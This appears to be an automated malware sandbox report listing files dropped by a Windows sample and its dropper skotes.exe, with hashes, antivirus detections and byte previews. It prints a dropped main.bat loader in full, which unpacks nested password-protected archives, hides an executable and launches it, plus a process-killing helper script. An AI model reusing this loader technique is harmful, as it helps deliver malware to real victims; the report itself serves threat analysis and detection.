Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1961472
Entropy (8bit):	7.933274740755222
Encrypted:	false
SSDEEP:	49152:DHyu5WDlc89w6CltNX9O0RPVo6uTdXbGEBA:ZqL9Hus0Ho3Xid
MD5:	B8501B9AD61E6247049C8C36BF6EAF57
SHA1:	DAE7D1E7561FAFA903152A139AF6F406CE1A2D85
SHA-256:	12E5A10025F316A2CE8B05A5E4170D3A5F6578AB97088C77FF9A552AFAF592F6
SHA-512:	0A622FEF06DC61E4572F6059619BFDFC095E7463D1E9F0AD3E2BB37916554655E36086D492A3F7B59A42567C546B2EAD2FDD90F432D7258E216331CA98FAC6A8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!J..@$..@$..@$......@$......@$......@$..._..@$..@%..@$......@$......@$......@$.Rich.@$.........PE..L......d..........................................@.................................WR......................................Z.B.n.....@.h!......................................................................................................... . ..@......T..................@....rsrc...h!....@......d..............@....idata ......B.....................@... ..).. B.....................@...getekmla......k.....................@...lxnvinpd............................@....taggant.0......."..................@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	966656
Entropy (8bit):	6.6949366234823895
Encrypted:	false
SSDEEP:	24576:YqDEvCTbMWu7rQYlBQcBiT6rprG8ajwd:YTvC/MTQYxsWR7ajw
MD5:	89F43935DD16AF2945DA61DB6C46A02D
SHA1:	34D9961FD89EEC180030ABB87C4DA5DDDCA4A5D6
SHA-256:	FC35C405E322A7F4FFB96C76B76D62DBB3297925E47A492E657F48A28312C793
SHA-512:	C087F473DB2AB38E8DABF71EB5D859E723B1102926777144696BF45BF8EB8741FCA53CB3683B845911E74C756B5A065A6320B5CD32D3199800941007FCC577C3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....@[g..........".................w.............@.......................... ......a.....@...@.......@.....................d...\|....@...T.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....T...@...V..................@..@.reloc...u.......v...J..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	727552
Entropy (8bit):	7.888061454157426
Encrypted:	false
SSDEEP:	12288:tyNudyx57oPuBlhyyZzWDtkfDdEIHiyO+rBlhyyZzWDtkfDdEIHiyO+N:t+3x5s2BCyqXIdXBCyqXId5
MD5:	28E568616A7B792CAC1726DEB77D9039
SHA1:	39890A418FB391B823ED5084533E2E24DFF021E1
SHA-256:	9597798F7789ADC29FBE97707B1BD8CA913C4D5861B0AD4FDD6B913AF7C7A8E2
SHA-512:	85048799E6D2756F1D6AF77F34E6A1F454C48F2F43042927845931B7ECFF2E5DE45F864627A3D4AA061252401225BBB6C2CAA8532320CCBE401E97C9C79AC8E5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....$Xg.................N..........,6............@..........................P......\|z....@.................................l...d...................................................................8h..............4...d............................text...AM.......N.................. ..`.rdata..<~...`.......V..............@..@.data...L...........................@....rsrc...............................@..@.reloc..............................@..B.bss.........0......................@....bss................................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2757120
Entropy (8bit):	6.533280428096955
Encrypted:	false
SSDEEP:	24576:ZKIE0GU543zidDu3vSK7gdfnANA8sXCK8WqCfkfKGC/EuYHulBwKAHpQPgbpC9Td:ZFtGUu3zv3iH8oqCfFG+ROpbY98xzU
MD5:	39D7CC067A59D8F1770A51C3BBEF5B32
SHA1:	79C6AE975688B81552A74BAD9D0B4C59210B5F4D
SHA-256:	2126A93FC9CD6B40D454914419705A7D70C19D79B1C7BEB11AEAA39A1C8A566F
SHA-512:	5F211708FD7353499D73314056798665EBAD1E8A7CF4B3818018D0FE3978062AEA35D2E15F8D7782D7D97E04353F04CFEFAEDB12B84C3C2E691888FC0A0D63F3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ..................................`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ednolfgk..).......)..:..............@...suscsoaj. ...`.......).............@....taggant.@....*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1961472
Entropy (8bit):	7.933274740755222
Encrypted:	false
SSDEEP:	49152:DHyu5WDlc89w6CltNX9O0RPVo6uTdXbGEBA:ZqL9Hus0Ho3Xid
MD5:	B8501B9AD61E6247049C8C36BF6EAF57
SHA1:	DAE7D1E7561FAFA903152A139AF6F406CE1A2D85
SHA-256:	12E5A10025F316A2CE8B05A5E4170D3A5F6578AB97088C77FF9A552AFAF592F6
SHA-512:	0A622FEF06DC61E4572F6059619BFDFC095E7463D1E9F0AD3E2BB37916554655E36086D492A3F7B59A42567C546B2EAD2FDD90F432D7258E216331CA98FAC6A8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!J..@$..@$..@$......@$......@$......@$..._..@$..@%..@$......@$......@$......@$.Rich.@$.........PE..L......d..........................................@.................................WR......................................Z.B.n.....@.h!......................................................................................................... . ..@......T..................@....rsrc...h!....@......d..............@....idata ......B.....................@... ..).. B.....................@...getekmla......k.....................@...lxnvinpd............................@....taggant.0......."..................@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	966656
Entropy (8bit):	6.6949366234823895
Encrypted:	false
SSDEEP:	24576:YqDEvCTbMWu7rQYlBQcBiT6rprG8ajwd:YTvC/MTQYxsWR7ajw
MD5:	89F43935DD16AF2945DA61DB6C46A02D
SHA1:	34D9961FD89EEC180030ABB87C4DA5DDDCA4A5D6
SHA-256:	FC35C405E322A7F4FFB96C76B76D62DBB3297925E47A492E657F48A28312C793
SHA-512:	C087F473DB2AB38E8DABF71EB5D859E723B1102926777144696BF45BF8EB8741FCA53CB3683B845911E74C756B5A065A6320B5CD32D3199800941007FCC577C3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....@[g..........".................w.............@.......................... ......a.....@...@.......@.....................d...\|....@...T.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....T...@...V..................@..@.reloc...u.......v...J..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1804800
Entropy (8bit):	7.945787468265426
Encrypted:	false
SSDEEP:	49152:UsDSS5e2yvjlGGnnFEDtp4xrpcJdXhv22mDiEo:Bbhy5gt6ruJdXhuW
MD5:	36CE95040ED17E3C4CCF84EF67666738
SHA1:	6BD06628EB201FB91F20E3905BBF1F052BAB16C5
SHA-256:	888781CACEC83EAE2A8EA38778DC47D6787EF7BF54F6E05122B9C75A9349C84B
SHA-512:	3ED7C233E6F90ECD461073DB2E80E321416CDC1DA6C6C3295FF321357084F6AD1232BD537D715B8CA979177287B19A7EFCA9D804060682BB559055C9239E0E7D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(.......0i...........@..........................`i...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... .p*...$......\|..............@...bpqkjsvj.....0O......~..............@...nfefccxc..... i......d..............@....taggant.0...0i.."...h..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2757120
Entropy (8bit):	6.533280428096955
Encrypted:	false
SSDEEP:	24576:ZKIE0GU543zidDu3vSK7gdfnANA8sXCK8WqCfkfKGC/EuYHulBwKAHpQPgbpC9Td:ZFtGUu3zv3iH8oqCfFG+ROpbY98xzU
MD5:	39D7CC067A59D8F1770A51C3BBEF5B32
SHA1:	79C6AE975688B81552A74BAD9D0B4C59210B5F4D
SHA-256:	2126A93FC9CD6B40D454914419705A7D70C19D79B1C7BEB11AEAA39A1C8A566F
SHA-512:	5F211708FD7353499D73314056798665EBAD1E8A7CF4B3818018D0FE3978062AEA35D2E15F8D7782D7D97E04353F04CFEFAEDB12B84C3C2E691888FC0A0D63F3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ..................................`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ednolfgk..).......)..:..............@...suscsoaj. ...`.......).............@....taggant.@....*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	727552
Entropy (8bit):	7.888061454157426
Encrypted:	false
SSDEEP:	12288:tyNudyx57oPuBlhyyZzWDtkfDdEIHiyO+rBlhyyZzWDtkfDdEIHiyO+N:t+3x5s2BCyqXIdXBCyqXId5
MD5:	28E568616A7B792CAC1726DEB77D9039
SHA1:	39890A418FB391B823ED5084533E2E24DFF021E1
SHA-256:	9597798F7789ADC29FBE97707B1BD8CA913C4D5861B0AD4FDD6B913AF7C7A8E2
SHA-512:	85048799E6D2756F1D6AF77F34E6A1F454C48F2F43042927845931B7ECFF2E5DE45F864627A3D4AA061252401225BBB6C2CAA8532320CCBE401E97C9C79AC8E5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....$Xg.................N..........,6............@..........................P......\|z....@.................................l...d...................................................................8h..............4...d............................text...AM.......N.................. ..`.rdata..<~...`.......V..............@..@.data...L...........................@....rsrc...............................@..@.reloc..............................@..B.bss.........0......................@....bss................................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1014524001\4d8dafb522.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	393728
Entropy (8bit):	6.004737079894222
Encrypted:	false
SSDEEP:	6144:sb3tLc1aQEo7F8Ci7oUPI13oxfys0geKPVMd5:uto1moSCi8RGBr7zVi
MD5:	DFD5F78A711FA92337010ECC028470B4
SHA1:	1A389091178F2BE8CE486CD860DE16263F8E902E
SHA-256:	DA96F2EB74E60DE791961EF3800C36A5E12202FE97AE5D2FCFC1FE404BC13C0D
SHA-512:	A3673074919039A2DC854B0F91D1E1A69724056594E33559741F53594E0F6E61E3D99EC664D541B17F09FFDEBC2DE1B042EEC19CA8477FAC86359C703F8C9656
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........'..F...F...F.......F.......F.......F.....F...F...F.......F.......F.......F..Rich.F..........PE..L....f.e.................b...........Q............@...........................$.............................................8g..d....0...:...........................................................-..@............................................text....a.......b.................. ..`.data............`...f..............@....rsrc....z...0...<..................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3195392
Entropy (8bit):	6.61873239954862
Encrypted:	false
SSDEEP:	24576:nmtolFr9W3FS3YTpWs3MSWHyf8CnGSSfXFm7a8D1UeyeI6/Dg6ZPpemIFHxe+ASn:mto783LTVv8y9L7an2gH7txMRcSp+9
MD5:	4873DEC39296C80C3863E04149E492BB
SHA1:	4CEB2E1553A82AC5F05CEFC8C1B688E768C92DE3
SHA-256:	172E1E49642648745FEFDBEBD4C76C41049A4F0EDD14EEB7904B709F0ADD5CBC
SHA-512:	C827EAF7B8910FDC5D5D9A2D51611573B49A4FFFB6FC37CC9279D77F1D05071F0B862DD11B65A69B6CA351A4C1876BEE77630E5A8A1C05F806CB7E474969E92C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................1......S1...@.................................W...k.......H.....................0.............................\.0..................................................... . ............................@....rsrc...H...........................@....idata ............................@...dckdxrcr..........................@...ilcchisc......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
